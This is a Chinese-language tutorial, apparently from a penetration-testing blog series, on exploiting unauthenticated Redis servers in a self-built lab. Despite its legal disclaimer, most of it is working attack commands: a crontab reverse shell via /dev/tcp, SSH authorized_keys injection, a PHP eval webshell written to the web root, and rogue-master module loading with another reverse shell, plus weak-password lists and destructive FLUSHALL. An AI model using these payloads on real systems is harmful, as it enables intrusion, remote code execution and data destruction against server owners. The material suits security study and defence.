本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。
这是本系列最"打"的一篇。我们完整走一遍:探测未授权 → 拿到连接 → 判断版本/权限 → 分别尝试 crontab、SSH 公钥、WebShell、主从复刻。
由于本机靶场版本为8.0,所以启动命令为:
redis-cli shutdown nosave redis-server --port 6379 --bind 0.0.0.0 --protected-mode no \ --enable-protected-configs yes --save "" --appendonly no \ --daemonize yes--protected-mode no
关闭保护模式。Redis 的保护模式本意是:如果 bind 不是 127.0.0.1 且未设置密码,则会拒绝外部访问。这里主动关闭了它,完全放弃了这一层防护。
--enable-protected-configs yes
允许修改敏感配置。这个参数(在 Redis 7.0+ 引入)允许通过 CONFIG SET/GET 操作如 dir、dbfilename 等关键配置,即使 Redis 以非特权用户运行。这进一步扩大了攻击者可利用的权限。
基于此来模拟实验环境
1. 什么是"未授权访问",成立条件到底有哪些
1.1 字面意思
"未授权访问" =不需要账号密码就能连上并执行命令。
对 Redis 来说,"未授权"有两种典型形态:
完全没设密码(老版本常见):
redis-cli -h 目标 -p 6379直接进。设了弱密码:被爆破(常见弱口令:
redis、123456、foobared(默认示例密码)、root、空密码)。
1.2 但"没设密码" ≠ "一定能未授权访问"——三个条件要同时成立
从上一篇我们知道,Redis 3.2+ 引入了protected-mode。它逻辑很绕,这里拆开讲:
protected-mode 的生效规则(关键):当且仅当下面同时满足时,Redis 才会拒绝"来自非本机、且未认证"的连接:
protected-mode yes(默认就是 yes);没有设置密码(requirepass 为空 / 没配 ACL);
客户端不是从本机(loopback)连过来的。
否则,protected-mode不拦。所以一张表说清所有组合:
| bind | 密码 | protected-mode | 外网能否未授权连? |
|---|---|---|---|
| 0.0.0.0 | 无 | yes | 会被拦(报DENIED Redis is running in protected mode) |
| 0.0.0.0 | 有 | yes | 认证后可以(没密码进不去) |
| 0.0.0.0 | 无 | no | 未授权访问成立(最常见漏洞场景) |
| 0.0.0.0 | 无 | yes 但客户端来自本机 | 能连(因为是本机来源) |
那为什么实战里还是经常遇到未授权?
因为很多老服务器 / 内网机器 / CTF 靶机,要么版本老(<3.2 没有保护模式),要么运维图省事直接
--protected-mode no,要么 bind 了0.0.0.0又忘了设密码。攻防判断顺序永远是:先探测,再逐条核对这三个开关。
靶机上执行:
redis-cli shutdown nosave redis-server --port 6379 --bind 0.0.0.0 --protected-mode no \ --daemonize yes --save "" --appendonly no1.3 探测的三个动作
# 动作1:端口探测(nmap 或 nc) nmap -p 6379 -Pn ip地址# 或 nc -nv ip地址 端口
# 动作2:直接用 redis-cli 试着连(不输密码) redis-cli -h 目标IP -p 6379 目标ip:6379> PING
# 若返回 PONG → 未授权成立(第一关过了) # 若返回 NOAUTH Authentication required → 要密码,转爆破 # 动作3:一条命令版 redis-cli -h 192.168.1.10 -p 6379 ping # 返回 PONG 即成功
服务器主动回给你的"拒绝"长这样(说明它开了 protected-mode,没设密码):
2. 拿到连接后,先做"信息收集五连"
不要上来就 getshell。先搞清楚三件事:我是谁(权限)、它多老(版本)、里面有什么(数据价值)。
# 1) 版本(决定能用哪些套路) INFO server # 找 redis_version: ... 和 redis_mode: # 2) 是否真未授权 / 当前权限视角 ACL WHOAMI # Redis 6+ 才有,返回当前用户(默认 default)
# 老版本没这个命令会报错,正常 # 3) 系统信息(也许能看出运行用户、OS) INFO os # 包含操作系统 INFO replication # 是不是从库、主库是谁(主从复刻判断用)
# 4) 看配置:dir、权限开关、是否开了危险功能 CONFIG GET dir
CONFIG GET requirepassrequirepass:Redis 登录密码配置项,密码为空,无认证,直接可以操作 Redis,
CONFIG GET protected-mode
# 5) 看数据:有多少 key、有没有敏感 key DBSIZE KEYS *
为什么先看 replication?
如果目标本来就是某台主库的从库,主从复刻套路要先把它的"从库身份"摘掉才能操作(否则改了数据,主库可能又同步回来覆盖)。老教程会教你
SLAVEOF NO ONE解除从库关系——这本身就是破坏性操作,靶机上做没事,真环境里别乱按。
2.1 判断能不能写文件(快速自测)
写文件 getshell 核心是CONFIG SET dir+ 落盘。先看 dir 能不能改、当前能不能触发 BGSAVE:
CONFIG GET dir # 看当前数据目录(通常 /var/lib/redis 或 .) CONFIG SET dir /tmp/ # 试改到 /tmp(能否改成功=关键信号) # 返回 OK → 配置可写,路子通了BGSAVE # 试试能不能落盘
如果
CONFIG SET dir被禁止(返回 error),说明管理员做了命令禁用/ACL,写文件这条路基本断了,转主从复刻或其他方向。
3. getshell 路径①:写 crontab 反弹 Shell(最经典,但条件苛刻)
3.1 原理链条(一层一层看)
目标:让这台机器定时执行我们的命令(反弹 shell) 办法:往 crontab 里塞一条"每分钟执行"的计划任务 而 Redis 能"写文件" ↓ 那我们把"计划任务的内容"当成 Redis 的 key 存进去, 再让 Redis 把整个数据库落盘成 crontab 文件 → 文件里就有了我们的任务行 ↓ 系统 cron 守护进程每分钟读 crontab → 执行我们的反弹命令 → getshell
3.2 它成立需要哪些前置条件
| 条件 | 说明 | 不满足会怎样 |
|---|---|---|
| Redis 进程是root或高权限 | 因为要写/var/spool/cron/这种系统目录 | 写不进去,报错 |
| 知道目标操作系统 & cron 路径 | CentOS 老用/var/spool/cron/;Debian/Ubuntu 用/var/spool/cron/crontabs/ | 路径错写哪都不触发 |
| Redis 没禁用 CONFIG / 没 ACL 限制 | 否则 SET dir 不成功 | 卡在第 2 步 |
| 目标没有防火墙/杀软拦截外连 | 反弹 shell 要能连回你 | 反弹失败 |
| Redis 能触发 BGSAVE | 磁盘/权限正常 | 不落盘 |
注意:正因为条件苛刻(尤其要求 root + cron 路径可写),真实高版本环境成功率低。CTF 和老机器里常见。
3.3 实操(在靶机上,全程按自己的 IP)
# 第0步:准备反弹命令,写进一个变量文件 # 目标IP是10.0.0.100,攻击机(你)监听 4444 # 反弹 payload 里一定要用 \r\n 换行!crontab 按行解析,结尾必须有换行 # 第1步:连上未授权 Redis redis-cli -h 10.0.0.100 -p 6379 # 第2步:把数据库清空(减少 RDB 里的二进制噪音,让 crontab 文件干净点) FLUSHALL # 返回 OK # 第3步:把反弹计划任务写成一个 key # 用 redis-cli -x 从标准输入读 value,能保留换行 printf '* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n' | redis-cli -h 10.0.0.100 -p 6379 -x set cron # 返回 OK # 第4步:把数据目录指到 crontab 目录(按系统选一个) CONFIG SET dir /var/spool/cron/ # 老 CentOS 用 /var/spool/cron/ # Debian/Ubuntu 用 /var/spool/cron/crontabs/ CONFIG SET dbfilename root # 文件名 = 要写入的用户名(root) # 第5步:落盘 SAVE # 或 BGSAVE # 返回 OK → 文件写好了 # 第6步:攻击机监听反弹 nc -lvnp 4444 # 等最多 1 分钟,cron 触发 → 拿到 shell # 第7步(可选):恢复现场,别把环境打坏 CONFIG SET dir /var/lib/redis CONFIG SET dbfilename dump.rdb
为什么 payload 里要
\r\n而不是普通换行?我们用printf ... \n里那个\n是普通换行。真实 crontab 文件对每行结尾要求是CRLF(\r\n),很多利用脚本里用\r\n是为了兼容。不同系统的 cron 对格式宽容度不同,这也是为什么这条路"能不能成"很看系统。实操时可以两种都试,看哪个能生效。
FLUSHALL 会不会太暴力?
会。它把目标库里所有数据清空——这是破坏性动作。真实渗透/红队场景要慎重(可能把生产缓存全清了)。靶机上随便玩。安全上请记住这个动作的存在:攻击者一个 FLUSHALL 就能把缓存库删光,这是"写入型破坏"的一种。
4. getshell 路径②:写 SSH 公钥登录(比 crontab 稳一点)
4.1 原理链条
目标开了 sshd,且允许 root/某用户公钥登录 我们把自己的公钥 id_rsa.pub 写进目标的 ~/.ssh/authorized_keys ↓ 利用 Redis 写文件:dir 指到用户家目录的 .ssh,文件名 authorized_keys ↓ 我们用私钥 ssh 登录 → getshell(无需密码)
为什么比 crontab 稳?因为:
不要求 root 才能写(只要 Redis 以该用户身份运行、且该用户 home 有
.ssh);对文件格式要求低(authorized_keys 只要认得出那一行公钥就行,前面混点 Redis 噪音无妨,但通常也先 FLUSHALL 求稳);
不依赖 cron 解析格式。
4.2 前置条件
| 条件 | 说明 |
|---|---|
Redis 以某个用户运行,且能写该用户~/.ssh/ | 常见:Redis 以 root 跑 → 写/root/.ssh/ |
| 目标 sshd 允许公钥登录 | PermitRootLogin/PubkeyAuthentication配置允许 |
| 你知道该写哪个用户的 authorized_keys | 通常 root |
目标.ssh目录已存在 | 不存在要先想办法建(SSH 登录过一次才会有) |
4.3 实操
# 第0步:攻击机生成/准备密钥对 ssh-keygen -t rsa -f /tmp/key -N "" /* ssh-keygen:生成 ssh 密钥对工具 -t rsa:指定密钥算法为 RSA -f /tmp/key:私钥保存路径/tmp/key,公钥自动生成/tmp/key.pub -N "":设置密钥密码为空,免密使用 */ # 生成 /tmp/key(私钥) /tmp/key.pub(公钥) # 第1步:把公钥写进 Redis 的 key(结尾加换行,前后加空行更稳) (echo; cat /tmp/key.pub; echo) | redis-cli -h 目标ip -p 6379 -x set pub # 第2步:清库 + 指到 .ssh redis-cli -h 192.168.143.156 -p 6379 FLUSHALL CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys SAVE
#但是最终只有此种方法实现了落盘 # 第3步:用私钥登录 ssh -i /tmp/key root@目标ip
#最终也是成功登录
为什么要 (echo; cat; echo) 前后加空行?让公钥所在行独立、干净,避免和 RDB 的二进制头粘连,提高 sshd 解析成功率。
如果 .ssh 目录不存在怎么办?Redis 写文件不会自动创建目录。老 trick:用
CONFIG SET dir不能建目录,所以这条路要求目录已存在。这也是为什么它常常要求目标是 root 且 root 登录过。CTF 里常预先建好,或换 WebShell 那条路。
5. getshell 路径③:写 WebShell(配合 Web 服务最实用)
5.1 原理链条
目标同机跑了 Web 服务(nginx/apache),有 PHP 解析 ↓ 我们把"<?php ...一句话..." 当成 key 存进 Redis ↓ dir 指到网站根目录(如 /var/www/html),dbfilename 改成 xxx.php ↓ 落盘 → Web 目录出现一个 .php 文件,内容是 RDB 二进制 + 我们的 PHP 代码 ↓ 因为 PHP 解析器只认 <?php ... ?> 段,文件里的二进制垃圾不影响执行 ↓ 用菜刀/蚁剑/curl 连这个 php → getshell
5.2 前置条件
| 条件 | 说明 |
|---|---|
| 知道网站根目录的真实路径 | 常见/var/www/html、/usr/share/nginx/html、宝塔/www/wwwroot/站点 |
| Redis 进程有写该目录权限 | 常要求 root 或同属 www 组 |
| Web 能解析该后缀 | .php 需配了 PHP |
| dir 能改、能落盘 | 同前 |
5.3 实操
# 第1步:把一句话木马写进 key(内容含 php 标签) printf '<?php @eval($_POST["cmd"]);?>' | redis-cli -h 目标IP -p 6379 -x set shell# 或老式用大马,内容可多行 # 第2步:指到 web 根目录并落盘 redis-cli -h 10.0.0.100 -p 6379 CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php SAVE
# 第3步:浏览器/curl 验证 curl http://目标IP/shell.php # 应该回显:一串 RDB 乱码开头(前面被当文本输出)+ 我们的 php 标签也在里面
# 第4步:用蚁剑/菜刀连,密码 cmd → 管理文件/命令执行
现代一点的 web 环境:目录不可写、有 WAF 过滤、PHP 被 disable_function 限制——这些都会让这条路失效,需要组合其他技巧(不在本篇范围)。但"原理链条"永远是:改 dir → 落盘 → 让解析器执行我们的片段。
6. getshell 路径④:主从复刻 RCE(版本 >=4 且 <6 的"通吃"路线)
6.1 前置回顾 + 成立条件
前面讲过原理:骗目标 Redis 变成我们"假主库"的从库,让它全量同步一份夹带恶意 .so 模块的 RDB,从而把恶意模块加载进 Redis,再调用新增命令执行代码。
成立条件:
| 条件 | 说明 |
|---|---|
| Redis 版本>= 4.0(有 Module) | <4 没有 module 机制,不行 |
| 目标能外连攻击机端口 | 全量同步是目标主动连我们,要反向可达 |
| 没开/能绕过限制模块加载的防护 | 高版本对从库加载模块有限制,成功率下降 |
| 有未授权或已拿到认证 | 总得能执行 REPLICAOF |
为什么说它"更通吃"?
前面三条写文件路径都依赖"目标目录可写 + 知道路径"。这条不依赖系统文件权限,只要能连 + 能发 REPLICAOF,就有机会把模块跑起来。所以在 4.x/5.x 未授权 Redis 上,它是红队首选。
6.2 实操(用现成工具,理解其背后动作)
主从复刻手工造 RDB 很繁琐,安全社区有现成利用工具,最有名的是Redis Rogue Server系列(如redis-rogue-server、Nosqlmap附带功能)。使用方式大同小异:
# 工具会做这些事(本质对应我们上面的原理): # 1) 在攻击机起一个"假主库",并准备恶意 .so # 2) 让目标 Redis:REPLICAOF 攻击机IP 端口 # 3) 全量同步时喂恶意 RDB → 模块被加载 # 4) 自动调用新增命令,给你一个交互 shell git clone https://github.com/n0b0dyCN/redis-rogue-server cd redis-rogue-server python3 redis-rogue-server.py --rhost 10.0.0.100 --rport 6379 --lhost 10.0.0.1 --lport 6380 # 按提示(输入 i 进入交互/命令模式) # 成功后目标 Redis 会多出一个自定义命令,比如 system.exec 之类 system.exec id system.exec whoami system.exec 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4445 0>&1"'
这类工具我在别处也见过,但不想只会敲脚本,怎么破?
你现在已经具备拆它的能力了:工具流程 = 主从机制 + "让目标 REPLICAOF 我" + "我发恶意 RDB" + "触发模块加载"。想真正看懂,可以抓包看全量同步阶段发的 RDB 里有什么,或在靶机上
INFO replication观察自己角色变化。
7. 所有 getshell 路径的对照总结
| 路径 | 依赖核心机制 | 主要前置 | 适用版本 | 成功率 | 备注 |
|---|---|---|---|---|---|
| crontab | CONFIG SET + RDB 落盘 | root + cron 目录可写 + 知道路径 | 老系统常见 | 中低 | 破坏性 FLUSHALL |
| SSH 公钥 | 同上 | Redis 用户可写 ~/.ssh + sshd 允许 | 通用 | 中 | 需要 .ssh 已存在 |
| WebShell | 同上 | 知道 web 根目录 + 可写 + 能解析 php | 通用 | 中 | 常用于拿 web 权限 |
| 主从复刻 RCE | 主从复制 + Module | 版本>=4 + 目标可反连 | 4.x/5.x 最佳 | 高 | 不依赖系统文件权限 |
贯穿的因果链其实只有一条:
能连上(未授权/弱口令) → 能执行 CONFIG SET / REPLICAOF 这类危险命令 → Redis 帮你"写文件"或"加载外部数据" → 文件/数据被执行 → getshell
8. 遇到打不动的情况,按这个清单排查
攻击失败时,90% 是卡在下面某一条,逐条排查:
到底连上了吗?报
NOAUTH= 要密码;报DENIED protected mode= 保护模式拦了;报Connection refused= 端口没通/防火墙。版本查了吗?老套路在新版本可能被 ACL/模块限制挡住。
CONFIG SET dir 成功了吗?返回 error 就是被禁用。
Redis 是什么用户跑的?
INFO server看不出用户,用 CONFIG GET dir 能不能写 /tmp 先自测。路径对吗?cron 目录系统不同、web 根目录要探测(看指纹/报错页)。
反弹/连回通了吗?攻击机防火墙、目标出网策略。
是不是从库?先 REPLICAOF NO ONE 再操作。